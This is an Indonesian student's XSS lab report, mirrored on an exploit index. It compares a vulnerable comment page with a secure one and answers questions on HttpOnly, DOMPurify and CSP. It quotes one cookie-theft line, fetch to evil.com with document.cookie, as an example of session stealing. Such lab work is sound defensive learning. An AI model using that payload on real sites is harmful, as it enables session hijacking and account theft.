Share
## https://sploitus.com/exploit?id=7B908556-3869-5D9A-85DA-B54368D85E80
Nama    : Ronald Saut Manurung
NIM     : 2481022
Prodi   : Teknik Informatika

Eksperimen 1 
Yang terjadi adalah muncul pop up atau alert bertuliskan "XSS!". 
Browser mengira teks yang aku masukkan adalah bagian dari kode program, bukan sekedar teks komentar, sehingga browser menjalankannya. 
Sejujurnya di browser ku, tidak muncul alert nya. Sepertinya karena ada kesalahan di vulnerable.html nya. 

Eksperimen 2 
`` bekerja karena ada atribut onerror. Browser mencoba memuat gambar dari sumber src="x". Karena file "x" tidak ada, terjadilah error. Atribut onerror sebagai event handler otomatis berjalan saat error terjadi. Isinya adalah JavaScript, jadi script tereksekusi. 

Eksperimen 3 
Cookie yang muncul di alert: 
![alt text](https://github.com/ronalsm1/XSS-Lab-Handson-3-TI-WEB2/blob/main/screenshots/eksperimen3(a)%5Bvulnerable%5D.png?raw=true)
![alt text](https://github.com/ronalsm1/XSS-Lab-Handson-3-TI-WEB2/blob/main/screenshots/eksperimen3(b)%5Bvulnerable%5D.png?raw=true)

Jika attacker menggunakan `fetch('https://evil.com?cookie=' + document.cookie)`, maka data cookie tersebut akan terkirim diam-diam ke server hacker tanpa sepengetahuan user. Hacker kemudian bisa login menggunakan akun user tersebut. 

Eksperimen 4 
Yang berubah di halaman adalah warna latar belakang halamannya berubah dari putih menjadi merah seketika. 

Eksperimen 5 
Yang berbeda saat aku memasukkan semua payload di secure.html, kode tersebut ditampilkan apa adanya sebagai teks biasa. Tidak ada alert, background colornya tidak berubah. 

Eksperimen 6 
Versi secure tidak vulnerable terhadap XSS karena saat aku memakai textContent di versi secure, aku menyuruh browser "tolong ambil teks ini, dan tempelkan cuma sebagai teks biasa". Meskipun inputnya berisi ``, browser berpikir "oke, ini user ingin menampilkan tulisan yang berbunyi '``'." Tanda kurung siku akan diubah menjadi simbol biasa, sehingga script nya mati dan tampil sebagai teks di layar.

**Pertanyaan Refleksi** 
1. **Mengapa `` bisa menjalankan JavaScript?**
Jawaban: Karena HTML memiliki fitur Event Handlers seperti onload, onerror, onclick. Atribut-atribut ini dirancang untuk menjalankan JavaScript ketika suatu kejadian spesifik terjadi pada elemen tersebut. Attacker memanfaatkan fitur standar ini untuk menyisipkan kode jahat.
2. **Apa perbedaan antara Stored XSS dan Reflected XSS dari perspektif attacker?**
Jawaban: Untuk Stored XSS, Attacker cukup menaruh script sekali (misal di kolom komentar), dan script itu tersimpan di database. Setiap orang yang membuka halaman itu akan kena serangan otomatis. Tidak perlu kirim link ke korban. Sedangkan untuk Reflected XSS, script tidak disimpan di database, tapi dipantulkan via URL. Attacker harus membujuk korban untuk mengklik link khusus yang sudah dimodifikasi (misal: `website.com/search?q=...`). Jika korban tidak klik link itu, serangan gagal.
3. **Mengapa HttpOnly cookie penting dalam konteks XSS?**
Jawaban: Atribut HttpOnly melarang JavaScript (melalui document.cookie) untuk membaca isi cookie tersebut. Jika website terkena XSS, hacker mungkin masih bisa melakukan aksi lain (seperti mengubah tampilan), tapi mereka tidak bisa mencuri Session ID user. Ini membatasi dampak kerusakan (mitigasi).
4. **Jika kamu perlu menampilkan rich text (dengan formatting), bagaimana caranya agar tetap aman?**
Jawaban: Jangan pernah menulis regex sendiri (rentan bobol). Gunakan library sanitasi yang terpercaya seperti DOMPurify. Library ini akan membersihkan tag berbahaya (seperti ``, onerror) tapi tetap membolehkan tag aman (seperti ``, ``, ``).
5. **Apa kegunaan Content Security Policy (CSP) header?**
Jawaban: CSP bertindak sebagai satpam/whitelist. Ia memberitahu browser "Hanya boleh jalankan script yang berasal dari domain saya sendiri. Jangan jalankan script dari domain asing atau script yang ditulis langsung di HTML (inline)." Ini membuat serangan XSS menjadi jauh lebih sulit dieksekusi meskipun ada celah di kode.

Bonus: Aku masukkan kode payload baru di form komentar vulnerable.html. Akan muncul tulisan "Klik aku" dengan panah kecil. Saat aku mengklik panah itu untuk membukanya, alert akan muncul. Di secure.html, ini hanya akan muncul sebagai teks biasa. 
![alt text](https://github.com/ronalsm1/XSS-Lab-Handson-3-TI-WEB2/blob/main/screenshots/eksperimenbonus%5Bvulnerable%5D.png?raw=true)
![alt text](https://github.com/ronalsm1/XSS-Lab-Handson-3-TI-WEB2/blob/main/screenshots/eksperimenbonus%5Bsecure%5D.png?raw=true)